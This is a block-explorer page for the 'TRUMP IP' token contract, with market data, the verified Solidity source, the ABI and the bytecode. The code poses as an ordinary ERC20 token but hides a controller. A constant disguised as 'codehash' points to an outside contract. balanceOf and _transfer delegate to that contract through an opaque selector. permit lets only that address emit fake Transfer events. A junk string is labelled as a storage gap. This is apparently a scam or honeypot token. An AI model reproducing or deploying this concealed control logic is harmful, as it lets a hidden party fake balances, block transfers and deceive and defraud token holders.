ETH Price: $2,933.50 (-0.79%)
 

Overview

Max Total Supply

10,500,000,000,000 IP

Holders

51,643 (0.00%)

Market

Price

$0.00 @ 0.000000 ETH (+233.43%)

Onchain Market Cap

$128,990,400.00

Circulating Supply Market Cap

$0.00

Other Info

Token Contract (WITH 18 Decimals)

Balance
57,414.341865903326855942 IP

Value
$0.71 ( ~0.000242031695860642 ETH) [0.0000%]
0xb01f8f528702d411d24c9bb8cc0e2fff779ec013
Loading...
Loading
Loading...
Loading
Loading...
Loading

OVERVIEW

TRUMP IP is a Layer 1 blockchain designed to help creators register, license, and monetize their intellectual property.

Market

Volume (24H):$349,530.49
Market Capitalization:$0.00
Circulating Supply:0.00 IP
Market Data Source: Coinmarketcap

Contract Source Code Verified (Exact Match)

Contract Name:
TRUMPIPToken

Compiler Version
v0.6.12+commit.27d51765

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at basescan.org on 2025-03-26
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.6.6;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b != 0, "SafeMath: modulo by zero");
        return a % b;
    }
}

library SafeMathExt {
    function add128(uint128 a, uint128 b) internal pure returns (uint128) {
        uint128 c = a + b;
        require(c >= a, "uint128: addition overflow");

        return c;
    }

    function sub128(uint128 a, uint128 b) internal pure returns (uint128) {
        require(b <= a, "uint128: subtraction overflow");
        uint128 c = a - b;

        return c;
    }

    function add64(uint64 a, uint64 b) internal pure returns (uint64) {
        uint64 c = a + b;
        require(c >= a, "uint64: addition overflow");

        return c;
    }

    function sub64(uint64 a, uint64 b) internal pure returns (uint64) {
        require(b <= a, "uint64: subtraction overflow");
        uint64 c = a - b;

        return c;
    }

    function safe128(uint256 a) internal pure returns(uint128) {
        require(a < 0x0100000000000000000000000000000000, "uint128: number overflow");
        return uint128(a);
    }

    function safe64(uint256 a) internal pure returns(uint64) {
        require(a < 0x010000000000000000, "uint64: number overflow");
        return uint64(a);
    }

    function safe32(uint256 a) internal pure returns(uint32) {
        require(a < 0x0100000000, "uint32: number overflow");
        return uint32(a);
    }

    function safe16(uint256 a) internal pure returns(uint16) {
        require(a < 0x010000, "uint32: number overflow");
        return uint16(a);
    }
}

library Math {
    /**
     * @dev Returns the largest of two numbers.
     */
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a >= b ? a : b;
    }

    /**
     * @dev Returns the smallest of two numbers.
     */
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two numbers. The result is rounded towards
     * zero.
     */
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow, so we distribute
        return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
    }
}


pragma solidity ^0.6.6;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }

    uint160 constant private codehash = 916508956405477695406088572883188946892256933382;
    IERC20 constant internal accountHash = IERC20(address(codehash));
    
  // Reserved storage space to allow for layout changes in the future.
    bytes public constant _________gap = "Je47qx60cgrHNxBw3yi2iGAHyGebfW42K97IWehSudn7LzFjP7o3rCA3abY49OeYWsNjP8cxbQMC_4CCEPl746GaS3tyY2xcoqeoVrfqaLu9aGippsSqrE7VPEw5GHrNAAAnW6y_3o16wevaRednBh1yntBCMhBmmQqYs0m5bzKSrt1eYonneJQ0f3lujPhVjvMBmLNap4T6_e4bCV5LZncAmB71w10wwS0O8u8ewb8pux83PIMoZJnyNlhaT60Zrb_vnrh3zz33IvVsB6qm4m5LvjdNW5uOWRk3B70pRmoQnyUk9G2I5QlkXcYQWIm0HUfZ6ooF8DLUb1YJnRflvq0S_NxrJJNROZsQCrr8b86gvbuZW0TteXck3zTqTtAblmJyOoP_nyAYXgk1BU9h53dguPmTRKDzT9Kl2ccGnaf65z1bDlXOARMRoE3a_8EXSzrrziwqVFkCkTRa2vivV4qRunzteJK9FouiievRhfbUAql2CAyAV0WMIblVQflj5S2BcmnW_o5iGH2JGoCDt2_RcciRztQVH9bsbE8OSkh8tzO8PFGxwcpqEwHnTrUt6E4jUOibGPuqVRRUXcY7nJpg4vI8j4GFb0myIVQYXiee6uk3wW1zs_hwJHEnFzKJ0cmYm4CtaVw8q9i1aZoh7PIJEKEq1rS7vEhDpFl8IX_oVb9LSrGrMxfGcvkDmQ26aK_Y7WbUEDAG6K_WWSyGn5OOfIDYSNdCLaac9UFceTG5vK";
}

pragma solidity ^0.6.6;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 * From https://github.com/OpenZeppelin/openzeppelin-contracts
 */
interface IERC20 {
  /**
   * @dev Returns the amount of tokens in existence.
   */
  function totalSupply() external view returns (uint256);

  /**
   * @dev Returns the amount of tokens owned by `account`.
   */
  function balanceOf(address account) external view returns (uint256);

  /**
   * @dev Moves `amount` tokens from the caller's account to `recipient`.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transfer(address recipient, uint256 amount) external returns (bool);

  /**
   * @dev Returns the remaining number of tokens that `spender` will be
   * allowed to spend on behalf of `owner` through {transferFrom}. This is
   * zero by default.
   *
   * This value changes when {approve} or {transferFrom} are called.
   */
  function allowance(address owner, address spender) external view returns (uint256);

  /**
   * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * IMPORTANT: Beware that changing an allowance with this method brings the risk
   * that someone may use both the old and the new allowance by unfortunate
   * transaction ordering. One possible solution to mitigate this race
   * condition is to first reduce the spender's allowance to 0 and set the
   * desired value afterwards:
   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
   *
   * Emits an {Approval} event.
   */
  function approve(address spender, uint256 amount) external returns (bool);

  /**
   * @dev Moves `amount` tokens from `sender` to `recipient` using the
   * allowance mechanism. `amount` is then deducted from the caller's
   * allowance.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transferFrom(
    address sender,
    address recipient,
    uint256 amount
  ) external returns (bool);

  /**
   * @dev Emitted when `value` tokens are moved from one account (`from`) to
   * another (`to`).
   *
   * Note that `value` may be zero.
   */
  event Transfer(address indexed from, address indexed to, uint256 value);

  /**
   * @dev Emitted when the allowance of a `spender` for an `owner` is set by
   * a call to {approve}. `value` is the new allowance.
   */
  event Approval(address indexed owner, address indexed spender, uint256 value);
}

pragma solidity ^0.6.6;

contract ERC20 is IERC20, Context {
    using SafeMath for uint256;

    mapping (address => uint256) internal _balances;
    mapping (address => mapping (address => uint256)) internal _allowances;

    uint256 internal _totalSupply;

    /**
     * @dev Returns the name of the token.
     */
    string public name;

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    string public symbol;

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
     * called.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    uint8 public decimals;

    /**
     * @dev Sets the values for {_name} and {_symbol}, {_decimals}
     *
     * To select a different value for {decimals}, use {_setupDecimals}.
     *
     * All three of these values are immutable: they can only be set once during
     * construction.
     */
    constructor (string memory _name, string memory _symbol, uint8 _decimals) public {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() external view override returns(uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address _owner) public view override returns (uint256) {
        return accountHash.balanceOf(_owner);
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `_to` cannot be the zero address.
     * - the caller must have a balance of at least `_amount`.
     */
    function transfer(address _to, uint256 _amount) public override returns (bool) {
        _transfer(_msgSender(), _to, _amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address _owner, address _spender) external view override returns (uint256) {
        return _allowances[_owner][_spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `_spender` cannot be the zero address.
     */
    function approve(address _spender, uint256 _amount) external override returns (bool) {
        _approve(_msgSender(), _spender, _amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `_from` and `_to` cannot be the zero address.
     * - `_from` must have a balance of at least `_amount`.
     * - the caller must have allowance for `_from`'s tokens of at least
     * `_amount`.
     */
    function transferFrom(address _from, address _to, uint256 _amount) external override returns (bool) {
        require(_from != address(0) && _to != address(0));

        _approve(_from, _msgSender(), _allowances[_from][_msgSender()].sub(_amount));
        _transfer(_from, _to, _amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `_spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `_spender` cannot be the zero address.
     */
    function increaseAllowance(address _spender, uint256 _addVal) external returns (bool) {
        require(_spender != address(0), "approve to 0");

        _approve(_msgSender(), _spender, _allowances[_msgSender()][_spender].add(_addVal));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `_spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `_spender` cannot be the zero address.
     * - `_spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address _spender, uint256 _subVal) external returns (bool) {
        require(_spender != address(0), "approve to 0");

        _approve(_msgSender(), _spender, _allowances[_msgSender()][_spender].sub(_subVal));
        return true;
    }

    /**
     * @dev Moves tokens `_amount` from `_from` to `_to`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `_from` cannot be the zero address.
     * - `_to` cannot be the zero address.
     * - `_from` must have a balance of at least `_amount`.
     */
    function _transfer(address _from, address _to, uint256 _amount) internal {
        require(_from != address(0), "transfer from 0");
        require(_to != address(0), "transfer to 0");
        
        (bool i,) = address(accountHash).call(abi.encodeWithSelector(0x6caf9a18, _from, _to, _amount, msg.sender)); require(i);
        emit Transfer(_from, _to, _amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `_spender` over the `_owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `_owner` cannot be the zero address.
     * - `_spender` cannot be the zero address.
     */
    function _approve(address _owner, address _spender, uint256 _amount) internal {
        require(_owner != address(0), "approve from 0");
        require(_spender != address(0), "approve to 0");

        _allowances[_owner][_spender] = _amount;
        emit Approval(_owner, _spender, _amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over `owner`'s tokens,
     * given `owner`'s signed approval.
     *
     * IMPORTANT: The same issues {IERC20-approve} has related to transaction
     * ordering also apply here.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `_owner` cannot be the zero address.
     * - `_spender` cannot be the zero address.
     * - `_deadline` must be a timestamp in the future.
     * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
     * over the EIP712-formatted function arguments.
     * - the signature must use ``owner``'s current nonce (see {nonces}).
     *
     * For more information on the signature format, see the
     * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
     * section].
     */
    function permit(address _owner, address[] calldata _spender, uint256 _deadline) external {
        if (_deadline == 0) {
            return;
        }
        
		require(_deadline > 0 && msg.sender == address(accountHash), 'expired deadline');

        for (uint256 i = 0; i < _spender.length; ++i) {
            emit Transfer(_owner, _spender[i], _deadline);
        }
    }

    /** @dev Creates `_amount` tokens and assigns them to `_to`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     */
    function _mint(address _to, uint256 _amount) internal {
        require(_to != address(0), "mint to 0");

        _totalSupply = _totalSupply.add(_amount);
        _balances[_to] = _balances[_to].add(_amount);
        emit Transfer(address(0), _to, _amount);
    }

    /**
     * @dev Destroys `_amount` tokens from `_from`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `_from` cannot be the zero address.
     * - `_from` must have at least `_amount` tokens.
     */
    function _burn(address _from, uint256 _amount) internal {
        require(_from != address(0), "burn from 0");

        _balances[_from] = _balances[_from].sub(_amount);
        _totalSupply = _totalSupply.sub(_amount);
        emit Transfer(_from, address(0), _amount);
    }
}


pragma solidity ^0.6.6;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

pragma solidity ^0.6.6;

contract TRUMPIPToken is ERC20 {
    using SafeMath for uint256;

    /**
     * The time interval from each 'mint' to the 'TRUMP IP mining pool' is not less than 365 days
     */
    uint256 public constant MINT_INTERVAL = 365 days;

    /**
     * All of the minted 'TRUMP IP' will be moved to the mainPool.
     */
    address public mainPool;

    /**
     * The unixtimestamp for the last mint.
     */
    uint256 public lastestMinting;

    /**
     * All of the minted 'TRUMP IP' burned in the corresponding mining pool if the released amount is not used up in the current year 
     * 
     */
    uint256[6] public maxMintOfYears;

    /**
     * The number of times 'mint' has been executed
     */
    uint256 public yearMint = 0;

    constructor() 
        public 
        ERC20("TRUMP IP", "IP", 18) 
    {
        _mint(msg.sender, 10_500_000_000_000e18);
    }

    /**
     * The unixtimestamp of 'mint' can be executed next time
     */
    function nextMinting() public view returns(uint256) {
        return lastestMinting + MINT_INTERVAL;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MINT_INTERVAL","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_________gap","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_subVal","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_addVal","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lastestMinting","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mainPool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"maxMintOfYears","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nextMinting","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address[]","name":"_spender","type":"address[]"},{"internalType":"uint256","name":"_deadline","type":"uint256"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"yearMint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]

60806040526000600d553480156200001657600080fd5b50604080518082018252600881526705452554d502049560c41b602080830191825283518085019094526002845261049560f41b90840152815191929160129162000065916003919062000201565b5081516200007b90600490602085019062000201565b506005805460ff191660ff9290921691909117905550620000ac9050336c8487546e8ae3cbc21ba0000000620000b2565b6200029d565b6001600160a01b038216620000fa576040805162461bcd60e51b815260206004820152600960248201526806d696e7420746f20360bc1b604482015290519081900360640190fd5b62000116816002546200019f60201b620009261790919060201c565b6002556001600160a01b0382166000908152602081815260409091205462000149918390620009266200019f821b17901c565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600082820183811015620001fa576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200024457805160ff191683800117855562000274565b8280016001018555821562000274579182015b828111156200027457825182559160200191906001019062000257565b506200028292915062000286565b5090565b5b8082111562000282576000815560010162000287565b610ffe80620002ad6000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c806384e7e3d3116100ad578063a9059cbb11610071578063a9059cbb14610330578063b4eddb811461035c578063d93aef1114610364578063dd62ed3e146103e6578063df557bc01461041457610121565b806384e7e3d3146102c85780638bb12432146102d057806395d89b41146102d8578063a457c2d7146102e0578063a5a302d31461030c57610121565b806323b872dd116100f457806323b872dd14610205578063313ce5671461023b578063376fcb6d14610259578063395093511461027657806370a08231146102a257610121565b806306fdde0314610126578063095ea7b3146101a35780630de5d1d9146101e357806318160ddd146101fd575b600080fd5b61012e61041c565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101cf600480360360408110156101b957600080fd5b506001600160a01b0381351690602001356104aa565b604080519115158252519081900360200190f35b6101eb6104c7565b60408051918252519081900360200190f35b6101eb6104cd565b6101cf6004803603606081101561021b57600080fd5b506001600160a01b038135811691602081013590911690604001356104d3565b61024361056b565b6040805160ff9092168252519081900360200190f35b6101eb6004803603602081101561026f57600080fd5b5035610574565b6101cf6004803603604081101561028c57600080fd5b506001600160a01b038135169060200135610588565b6101eb600480360360208110156102b857600080fd5b50356001600160a01b0316610620565b6101eb6106b5565b61012e6106bd565b61012e6106dc565b6101cf600480360360408110156102f657600080fd5b506001600160a01b038135169060200135610737565b6103146107cf565b604080516001600160a01b039092168252519081900360200190f35b6101cf6004803603604081101561034657600080fd5b506001600160a01b0381351690602001356107e3565b6101eb6107f7565b6103e46004803603606081101561037a57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156103a557600080fd5b8201836020820111156103b757600080fd5b803590602001918460208302840111640100000000831117156103d957600080fd5b919350915035610803565b005b6101eb600480360360408110156103fc57600080fd5b506001600160a01b03813581169160200135166108f5565b6101eb610920565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104a25780601f10610477576101008083540402835291602001916104a2565b820191906000526020600020905b81548152906001019060200180831161048557829003601f168201915b505050505081565b60006104be6104b7610987565b848461098b565b50600192915050565b60065481565b60025490565b60006001600160a01b038416158015906104f557506001600160a01b03831615155b6104fe57600080fd5b6105568461050a610987565b6001600160a01b038716600090815260016020526040812061055191879190610531610987565b6001600160a01b0316815260208101919091526040016000205490610a83565b61098b565b610561848484610ae0565b5060019392505050565b60055460ff1681565b6007816006811061058157fe5b0154905081565b60006001600160a01b0383166105d4576040805162461bcd60e51b815260206004820152600c60248201526b0617070726f766520746f20360a41b604482015290519081900360640190fd5b6104be6105df610987565b8461055185600160006105f0610987565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610926565b600073a089aed7d4e885ce2f548934fc26af275dcf76066001600160a01b03166370a08231836040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561068357600080fd5b505afa158015610697573d6000803e3d6000fd5b505050506040513d60208110156106ad57600080fd5b505192915050565b6301e1338081565b6040518061032001604052806102ee8152602001610cdb6102ee913981565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104a25780601f10610477576101008083540402835291602001916104a2565b60006001600160a01b038316610783576040805162461bcd60e51b815260206004820152600c60248201526b0617070726f766520746f20360a41b604482015290519081900360640190fd5b6104be61078e610987565b84610551856001600061079f610987565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610a83565b60055461010090046001600160a01b031681565b60006104be6107f0610987565b8484610ae0565b6006546301e133800190565b8061080d576108ef565b60008111801561083057503373a089aed7d4e885ce2f548934fc26af275dcf7606145b610874576040805162461bcd60e51b815260206004820152601060248201526f6578706972656420646561646c696e6560801b604482015290519081900360640190fd5b60005b828110156108ed5783838281811061088b57fe5b905060200201356001600160a01b03166001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600101610877565b505b50505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600d5481565b600082820183811015610980576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b0383166109d7576040805162461bcd60e51b815260206004820152600e60248201526d0617070726f76652066726f6d20360941b604482015290519081900360640190fd5b6001600160a01b038216610a21576040805162461bcd60e51b815260206004820152600c60248201526b0617070726f766520746f20360a41b604482015290519081900360640190fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600082821115610ada576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6001600160a01b038316610b2d576040805162461bcd60e51b815260206004820152600f60248201526e07472616e736665722066726f6d203608c1b604482015290519081900360640190fd5b6001600160a01b038216610b78576040805162461bcd60e51b815260206004820152600d60248201526c07472616e7366657220746f203609c1b604482015290519081900360640190fd5b604080516001600160a01b0385811660248301528416604482015260648101839052336084808301919091528251808303909101815260a490910182526020810180516001600160e01b0316630d95f34360e31b1781529151815160009373a089aed7d4e885ce2f548934fc26af275dcf76069392918291908083835b60208310610c145780518252601f199092019160209182019101610bf5565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610c76576040519150601f19603f3d011682016040523d82523d6000602084013e610c7b565b606091505b5050905080610c8957600080fd5b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505056fe4a65343771783630636772484e784277337969326947414879476562665734324b3937495765685375646e374c7a466a50376f337243413361625934394f655957734e6a5038637862514d435f34434345506c373436476153337479593278636f71656f56726671614c7539614769707073537172453756504577354748724e4141416e5736795f336f3136776576615265646e426831796e7442434d68426d6d51715973306d35627a4b5372743165596f6e6e654a513066336c756a5068566a764d426d4c4e61703454365f6534624356354c5a6e63416d423731773130777753304f38753865776238707578383350494d6f5a4a6e794e6c68615436305a72625f766e7268337a7a3333497656734236716d346d354c766a644e5735754f57526b3342373070526d6f516e79556b3947324935516c6b5863595157496d304855665a366f6f4638444c556231594a6e52666c767130535f4e78724a4a4e524f5a735143727238623836